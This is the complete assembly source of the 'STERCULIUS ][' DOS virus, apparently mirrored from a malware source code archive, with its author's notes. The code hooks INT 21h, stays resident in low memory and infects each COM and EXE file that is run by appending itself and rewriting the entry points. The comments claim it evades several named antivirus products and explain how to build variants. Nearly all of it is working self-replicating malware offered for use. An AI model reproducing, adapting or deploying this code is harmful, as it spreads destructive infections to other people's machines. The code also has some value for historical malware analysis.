mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 15:05:27 +00:00
518 lines
14 KiB
NASM
518 lines
14 KiB
NASM
comment $
|
||
|
||
STERCULIUS ][ VIRUS
|
||
|
||
|
||
This is an 'upgrade build' of CRYPT #18's STERCULIUS virus.
|
||
I have made some changes, in particular STERCULIUS ][ now infects
|
||
EXE files as well as COM files.
|
||
|
||
The procedure to infect EXE files is rather simple:
|
||
|
||
Sterculius installs itself and its INT 21h handler in the memory
|
||
'hole' located after the interrupt vector table (reference:
|
||
CRYPT #18). The INT 21h handler checks when a file is executed;
|
||
then it opens it and determines whether it is a COM or an EXE
|
||
file by checking for a 'MZ' or 'ZM' at the beginning of the file.
|
||
|
||
After the nature of the file has been determined, the virus proceeds
|
||
to read to EXE header and to modify the entry point field (CS:IP)
|
||
and the size of the load module/file (how many bytes get loaded from
|
||
the file to memory) on the header.
|
||
|
||
Then, infection takes place and the new EXE header is written to
|
||
the file.
|
||
|
||
Note that no change is made to the stack segment and the offset of
|
||
the original EXE infected file (SS:SP); in other words the virus
|
||
does not have its own stack segment and offset. I considered this
|
||
to be unnecessary since all well written EXE programs have a stack
|
||
segment (SS) far up in memory from the code segment (CS). The
|
||
danger of the virus corrupting itself when using the stack is
|
||
non-existent, considering the size of the virus and the fact that
|
||
on the installation part of STERCULIUS ][ the stack is barely used.
|
||
|
||
The challenge when writing this 'upgrade' was to keep the code small
|
||
enough so it would work properly not corrupt the BIOS data
|
||
loaded by IO.SYS / IBMIO.SYS at segment 0040.
|
||
|
||
Some original features of STERCULIUS have been commented out, to
|
||
downsize the code, but in most cases the virus will work perfectly
|
||
if they are included.
|
||
|
||
Here is how to make you own STERCULIUS ][ variant:
|
||
|
||
Variant 1:
|
||
Uncomment (take out the ';' before the instructions)
|
||
in the following labeled parts:
|
||
|
||
Save Attributes
|
||
Restore Attributes
|
||
|
||
Compile and link.
|
||
|
||
Variant 2:
|
||
Uncomment the following labeled parts:
|
||
|
||
Save Date and time
|
||
Restore Date and Time
|
||
|
||
Compile and link.
|
||
|
||
Variant 3:
|
||
Uncomment the following labeled parts:
|
||
|
||
Save Date and time
|
||
Restore Date and Time
|
||
|
||
Save Attributes
|
||
Restore Attributes
|
||
|
||
Compile and link.
|
||
|
||
|
||
K<EFBFBD>hntark.
|
||
|
||
$
|
||
|
||
|
||
;*****************************************************************************
|
||
; STERCULIUS ][ VIRUS
|
||
;
|
||
; AUTHOR: K<>hntark
|
||
; DATE: SEPTEMBER 1993
|
||
; Memory Resident COM, EXE infector
|
||
;
|
||
; Success: F-prot 2.09D - VIRSTOP
|
||
; VIREX 2.8
|
||
; MSAV - will give warning, if 'continue' is pressed the
|
||
; all infections will go undetected
|
||
; -D -will install but -D will regain control of the INT 21
|
||
; TBMEM 6.05 - will crash as it installs some instructions in the
|
||
; middle of the hole where Sterculius ][ resides
|
||
;
|
||
;
|
||
;*****************************************************************************
|
||
|
||
.model tiny
|
||
.code
|
||
org 100h
|
||
|
||
START:
|
||
db 0E9h,03,00,'S' ;Jump to Virus_Entry / infection ID
|
||
|
||
FAKE_HOST:
|
||
int 20h ;host file terminate
|
||
|
||
;-----------------------------------------------------------------------------
|
||
VIRUS_ENTRY:
|
||
|
||
call INITIALIZE
|
||
|
||
F_NAME: db 'STERCULIUS ][' ;The Roman god of feces
|
||
|
||
INITIALIZE:
|
||
pop si
|
||
sub si,3
|
||
|
||
push es ;save original ES
|
||
push ds ;save original DS
|
||
|
||
push cs ;fix DS and ES
|
||
push cs
|
||
pop es ;ES=CS
|
||
pop ds ;DS=CS
|
||
mov bp,si ;save si
|
||
|
||
cmp WORD PTR [si + EXE_FLAG - VIRUS_ENTRY],00
|
||
jne EXE_SKIP
|
||
|
||
;*****************
|
||
; Restore host
|
||
;*****************
|
||
|
||
cld
|
||
lea si,[si + HOST_STUB - VIRUS_ENTRY]
|
||
mov di,0100h
|
||
movsw ;from ds:si to es:di
|
||
movsw
|
||
mov si,bp ;restore si
|
||
|
||
EXE_SKIP:
|
||
|
||
;***************************
|
||
; Check if already resident
|
||
;***************************
|
||
|
||
xor ax,ax ;AX=00
|
||
mov es,ax ;ES=00
|
||
mov di,01E0h
|
||
cmp WORD PTR es:[di + 3],'TS'
|
||
je EXIT
|
||
|
||
mov cx,ZIZE
|
||
rep movsb ;move virus to 0000:01E0 from ds:si to es:di
|
||
|
||
;***********************
|
||
; Mov INT 21 address
|
||
;***********************
|
||
|
||
sub di,08 ;position destination pointer at REAL_INT_21
|
||
mov si,21h * 4
|
||
mov ds,ax ;ds=0
|
||
movsw ;from ds:si to es:di
|
||
movsw
|
||
|
||
;***********************
|
||
; Hook INT 21
|
||
;***********************
|
||
|
||
mov di,01E0h + OFFSET INT_21_HANDLER - OFFSET VIRUS_ENTRY
|
||
cli ;disable interrupts
|
||
mov WORD PTR [si - 4],di ;address of INT 21 handler
|
||
mov WORD PTR [si - 2],ax
|
||
sti ;enable interrupts
|
||
|
||
EXIT:
|
||
pop ds ;restore original ES
|
||
pop es ;restore original ES
|
||
|
||
cmp WORD PTR cs:[bp + EXE_FLAG - VIRUS_ENTRY],00
|
||
jne EXE_RETURN
|
||
|
||
mov ax,0100h
|
||
push ax
|
||
ret ;return to host
|
||
|
||
EXE_RETURN:
|
||
mov bx,ds
|
||
add bx,low 10h
|
||
mov cx,bx
|
||
|
||
add cx,WORD PTR cs:[bp + CSIP - VIRUS_ENTRY + 2]
|
||
push cx
|
||
push WORD PTR cs:[bp + CSIP - VIRUS_ENTRY]
|
||
db 0CBh ;retf
|
||
|
||
;----------------------------------------------------------------------------
|
||
|
||
CSIP:
|
||
dd 0
|
||
EXE_FLAG:
|
||
dw 0
|
||
|
||
NEW_HOST_ENTRY:
|
||
db 0E9h,00,00,'S'
|
||
|
||
INT_21:
|
||
pushf
|
||
call DWORD PTR cs:[REALL_INT_21]
|
||
ret
|
||
|
||
QUICK_EXIT: jmp QUICK_OUT
|
||
RESTORE_ATTRIBUTES: jmp RESTORE_ATTRIBUTESS
|
||
CLOSE_FILE: jmp CLOSE_FILEE
|
||
|
||
;----------------------------------------------------------------------------
|
||
INT_21_HANDLER:
|
||
|
||
cmp ah,4Bh ;execute a file?
|
||
jne QUICK_EXIT ;quick exit handler
|
||
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push ds
|
||
push es
|
||
push si
|
||
push di
|
||
push bp
|
||
pushf
|
||
|
||
push cs
|
||
pop es ;ES=CS
|
||
|
||
;***********************
|
||
; 1-Save Attributes
|
||
;***********************
|
||
|
||
; mov ax,4300h
|
||
; call INT_21
|
||
; push cx ;save attributes to stack
|
||
; push ds
|
||
; push dx ;ds:dx = pathname to file
|
||
|
||
;***********************
|
||
; 2-Klear Attributes
|
||
;***********************
|
||
|
||
xor cx,cx
|
||
mov ax,4301h
|
||
call INT_21
|
||
jc QUICK_EXIT
|
||
|
||
;***********************
|
||
; 3-Open File
|
||
;***********************
|
||
|
||
mov ax,3D02h
|
||
call INT_21
|
||
jc RESTORE_ATTRIBUTES
|
||
xchg bx,ax ;file handle to bx
|
||
|
||
;***********************
|
||
; 4-Save Date & time
|
||
;***********************
|
||
|
||
;mov ax,5700h
|
||
;call INT_21
|
||
;push dx ;save date
|
||
;push cx ;save time
|
||
|
||
;********************************
|
||
; 5-Read 26 bytes / EXE header
|
||
;********************************
|
||
|
||
mov cx,26d ;# of bytes to read
|
||
mov dx,HOST_STUBB ;buffer to read 4 / 26 bytes to
|
||
mov si,dx
|
||
push cs
|
||
pop ds ;ds=cs
|
||
|
||
mov ah,3Fh
|
||
call INT_21 ;read to ds:dx
|
||
jc CLOSE_FILE
|
||
|
||
;***********************
|
||
; 6-Check File
|
||
;***********************
|
||
|
||
cmp WORD PTR [si],'ZM' ;EXE file?
|
||
je CHECK_EXE
|
||
cmp WORD PTR [si],'MZ' ;EXE file?
|
||
je CHECK_EXE
|
||
cmp BYTE PTR [si + 3],'S' ;infected COM file?
|
||
je CLOSE_FILE
|
||
|
||
mov di,OFFSET EXE_FLAGG ;mark COM infection
|
||
mov WORD PTR [di],00 ;COM
|
||
xor di,di
|
||
jmp short SKIP
|
||
|
||
;***********************
|
||
; 7-Check EXE
|
||
;***********************
|
||
|
||
CHECK_EXE:
|
||
cmp WORD PTR [si + 12h],ID ;infected EXE?
|
||
je CLOSE_FILE
|
||
cmp WORD PTR [si + 18h],40h ;WINDOWS EXE?
|
||
je CLOSE_FILE
|
||
|
||
; cmp WORD PTR [si + 1Ah],00 ;internal overlay EXE?
|
||
; jne CLOSE_FILE
|
||
|
||
mov di,EXE_FLAGG ;MARK EXE infection
|
||
mov WORD PTR [di],01 ;EXE
|
||
mov di,01
|
||
|
||
SKIP:
|
||
|
||
;***********************
|
||
; 8-File PTR @EOF
|
||
;***********************
|
||
|
||
mov ax,4202h
|
||
xor cx,cx
|
||
xor dx,dx ;cx = dx = 00
|
||
call INT_21
|
||
|
||
cmp di,00 ;COM?
|
||
jne DO_EXE
|
||
|
||
;------------------------------------------------------???????????????????
|
||
|
||
sub ax,03 ;fix file size
|
||
mov bp,ax ;address to jump to
|
||
|
||
jmp short WRITE_VIRUS
|
||
|
||
;***********************
|
||
; 9-SAVE CS:IP
|
||
;***********************
|
||
|
||
DO_EXE:
|
||
|
||
push bx ;save file handle
|
||
push si
|
||
push di
|
||
cld
|
||
mov di,CSIPP
|
||
add si,14h ;CS:IP in EXE hdr
|
||
movsw ;from ds:si
|
||
movsw ;to es:di
|
||
pop di
|
||
pop si
|
||
|
||
;**********************************
|
||
; 10-CALCULATE / INSERT NEW CS:IP
|
||
;**********************************
|
||
|
||
mov bx,WORD PTR [si + 8] ;header size in paragraphs
|
||
mov cl,04
|
||
shl bx,cl ;multiply by 16
|
||
|
||
push ax
|
||
push dx ;save filesize
|
||
|
||
sub ax,bx ;file size - header size
|
||
sbb dx,00 ;fix upper half of size
|
||
|
||
mov cl,0Ch
|
||
shl dx,cl ;dx * 4096
|
||
mov bx,ax
|
||
mov cl,4
|
||
shr bx,cl ;ax / 16
|
||
add dx,bx ;CS = dx * 4096 + ax / 16
|
||
and ax,0Fh ;IP = ax and 0Fh
|
||
|
||
mov WORD PTR [si + 12h],ID
|
||
mov WORD PTR [si + 14h],ax ;IP
|
||
mov WORD PTR [si + 16h],dx ;CS
|
||
|
||
pop dx
|
||
pop ax ;restore filesize
|
||
|
||
;**********************************
|
||
; 11-CALCULATE / INSERT FILESIZE
|
||
;**********************************
|
||
|
||
add ax,ZIZE ;add virus size
|
||
adc dx,00 ;add virus size
|
||
|
||
push ax
|
||
mov cl,09h ;2^9 = 512
|
||
ror dx,cl ;dx / 512
|
||
shr ax,cl ;ax / 512
|
||
stc ;set carry flag
|
||
adc dx,ax
|
||
pop cx ;original ax
|
||
and ch,01 ;mod 512
|
||
|
||
mov WORD PTR [si + 4],dx ;page count
|
||
mov WORD PTR [si + 2],cx ;remainder
|
||
|
||
pop bx ;restore file handle
|
||
|
||
;***********************
|
||
; 12-Write Virus
|
||
;***********************
|
||
|
||
WRITE_VIRUS:
|
||
|
||
mov ah,40h
|
||
mov cx,ZIZE ;cx = #of bytes
|
||
mov dx,01E0h ;dx = write from here
|
||
call INT_21
|
||
|
||
;***********************
|
||
; 13-Set PTR @BOF
|
||
;***********************
|
||
|
||
mov ax,4200h
|
||
xor cx,cx
|
||
xor dx,dx ;cx = dx = 00
|
||
call INT_21
|
||
|
||
cmp di,01 ;EXE?
|
||
je WRITE_EXE_HDR
|
||
|
||
;***********************
|
||
; 14-Write new jump
|
||
;***********************
|
||
|
||
mov cx,4 ;# of bytes to write
|
||
mov dx,NEW_HOST_ENTRYY ;dx = write from here
|
||
mov si,dx
|
||
mov WORD PTR [si + 1],bp ;insert new address
|
||
jmp short CONT
|
||
|
||
;***********************
|
||
; 15-Write new EXE hdr
|
||
;***********************
|
||
|
||
WRITE_EXE_HDR:
|
||
mov cx,24d ;# of bytes to write
|
||
mov dx,HOST_STUBB ;buffer to write 4 bytes from
|
||
|
||
CONT:
|
||
mov ah,40h
|
||
call INT_21
|
||
|
||
CLOSE_FILEE:
|
||
|
||
;*************************
|
||
; 16-Restore Date & time
|
||
;*************************
|
||
|
||
;pop cx ;restore time
|
||
;pop dx ;restore date
|
||
;mov ax,5701h
|
||
;call INT_21
|
||
|
||
;***********************
|
||
; 17-Klose File
|
||
;***********************
|
||
|
||
mov ah,3Eh
|
||
call INT_21
|
||
|
||
;************************
|
||
; 18-Restore Attributes
|
||
;************************
|
||
|
||
RESTORE_ATTRIBUTESS:
|
||
|
||
; mov ax,4301h
|
||
; pop dx ;ds:dx = pathname to file
|
||
; pop ds ;restore pathname
|
||
; pop cx ;restore old attributes
|
||
; call INT_21
|
||
|
||
;***********************
|
||
; Restore registers
|
||
;***********************
|
||
|
||
EXIT_HANDLER:
|
||
popf
|
||
pop bp
|
||
pop di
|
||
pop si
|
||
pop es
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
|
||
QUICK_OUT: db 0EAh ; jmp OFFSET:SEGMENT
|
||
REAL_INT_21: db 00,00,00,00
|
||
HOST_STUB: db 90h,090h,090h,090h ;4 byte COM stub / EXE HDR
|
||
|
||
END_VIRUS:
|
||
|
||
;-----------------------------------------------------------------------------
|
||
|
||
ZIZE equ OFFSET END_VIRUS - VIRUS_ENTRY
|
||
REALL_INT_21 equ 01E0h + OFFSET REAL_INT_21 - OFFSET VIRUS_ENTRY
|
||
HOST_STUBB equ 01E0h + OFFSET HOST_STUB - OFFSET VIRUS_ENTRY
|
||
NEW_HOST_ENTRYY equ 01E0h + OFFSET NEW_HOST_ENTRY - OFFSET VIRUS_ENTRY
|
||
CSIPP equ 01E0h + OFFSET CSIP - OFFSET VIRUS_ENTRY
|
||
EXE_FLAGG equ 01E0h + OFFSET EXE_FLAG - OFFSET VIRUS_ENTRY
|
||
ID equ 7777h
|
||
|
||
END START
|
||
|
||
|